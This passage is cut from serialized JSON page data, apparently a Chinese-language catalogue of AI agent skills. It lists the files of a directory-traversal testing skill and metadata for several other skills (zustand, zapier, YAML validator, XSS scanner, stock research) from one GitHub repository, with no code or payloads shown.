performing-directory-traversal-testing","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-directory-traversal-testing\u002FSKILL.md",true,[59,63,69],{"path":60,"resourceType":60,"resourceTypeDesc":61,"sizeBytes":62,"sourceHtmlUrl":16},"LICENSE","许可证",11255,{"path":64,"resourceType":65,"resourceTypeDesc":66,"sizeBytes":67,"sourceHtmlUrl":68},"references\u002Fapi-reference.md","REFERENCE","参考文档",2138,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-directory-traversal-testing\u002Freferences\u002Fapi-reference.md",{"path":70,"resourceType":71,"resourceTypeDesc":72,"sizeBytes":73,"sourceHtmlUrl":74},"scripts\u002Fagent.py","SCRIPT","脚本",8876,"https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fperforming-directory-traversal-testing\u002Fscripts\u002Fagent.py",[76,84,91,98,105,113],{"skillNo":77,"name":78,"nameZh":6,"description":79,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":81,"categories":82,"keywords":83,"publishedAt":20},"01M79ANS2SM329NEP5ZCX106RR","zustand-store-creator","Create zustand store creator operations. Auto-activating skill for Frontend Development.\nTriggers on: zustand store creator, zustand store creator\nPart of the Frontend Development skill category. Use when working with zustand store creator functionality. Trigger with phrases like \"zustand store creator\", \"zustand creator\", \"zustand\".","MIT","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzustand-store-creator\u002FSKILL.md",[],[],{"skillNo":85,"name":86,"nameZh":6,"description":87,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":88,"categories":89,"keywords":90,"publishedAt":20},"01M79AMZKP4YDEZ7EHG1Y7PP74","zero-trust-config-helper","Configure with zero trust config helper operations. Auto-activating skill for Security Advanced.\nTriggers on: zero trust config helper, zero trust config helper\nPart of the Security Advanced skill category. Use when configuring systems or services. Trigger with phrases like \"zero trust config helper\", \"zero helper\", \"zero\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzero-trust-config-helper\u002FSKILL.md",[],[],{"skillNo":92,"name":93,"nameZh":6,"description":94,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":95,"categories":96,"keywords":97,"publishedAt":20},"01M79AMJSBCEJQNBTYNAHYN5HM","zapier-integration-helper","Assist with zapier integration helper operations. Auto-activating skill for Business Automation.\nTriggers on: zapier integration helper, zapier integration helper\nPart of the Business Automation skill category. Use when working with APIs or building integrations. Trigger with phrases like \"zapier integration helper\", \"zapier helper\", \"zapier\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fzapier-integration-helper\u002FSKILL.md",[],[],{"skillNo":99,"name":100,"nameZh":6,"description":101,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":102,"categories":103,"keywords":104,"publishedAt":20},"01M79AHJZGVMARS13VFQYRR1MP","yaml-config-validator","Validate yaml config validator operations. Auto-activating skill for DevOps Basics.\nTriggers on: yaml config validator, yaml config validator\nPart of the DevOps Basics skill category. Use when configuring systems or services. Trigger with phrases like \"yaml config validator\", \"yaml validator\", \"yaml\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fyaml-config-validator\u002FSKILL.md",[],[],{"skillNo":106,"name":107,"nameZh":6,"description":108,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":109,"sourceHtmlUrl":110,"categories":111,"keywords":112,"publishedAt":20},"01M79AHGDZRN0020RDQSQDPAM8","xvary-stock-research","Thesis-driven equity analysis from public SEC EDGAR and market data; \u002Fanalyze, \u002Fscore, \u002Fcompare workflows with bundled Python tools (Claude Code, Cursor, Codex).","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxvary-stock-research\u002FLICENSE","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxvary-stock-research\u002FSKILL.md",[],[],{"skillNo":114,"name":115,"nameZh":6,"description":116,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":80,"licenseFileUrl":6,"sourceHtmlUrl":117,"categories":118,"keywords":119,"publishedAt":20},"01M79AHCYJ9FV9RMHQ24HDRN33","xss-vulnerability-scanner","Scan xss vulnerability scanner operations. Auto-activating skill for Security Fundamentals.\nTriggers on: xss vulnerability scanner, xss vulnerability scanner\nPart of the Security Fundamentals skill category. Use when working with xss vulnerability scanner functionality. Trigger with phrases like \"xss vulnerability scanner\", \"xss scanner\", \"xss\".","https:\u002F\u002Fgithub.com\u002Fjukeyman\u002Fjukeyman-skills\u002Fblob\u002Fmain\u002Fskills\u002Fxss-vulnerability-scanner\u002FSKILL.md",[],[]]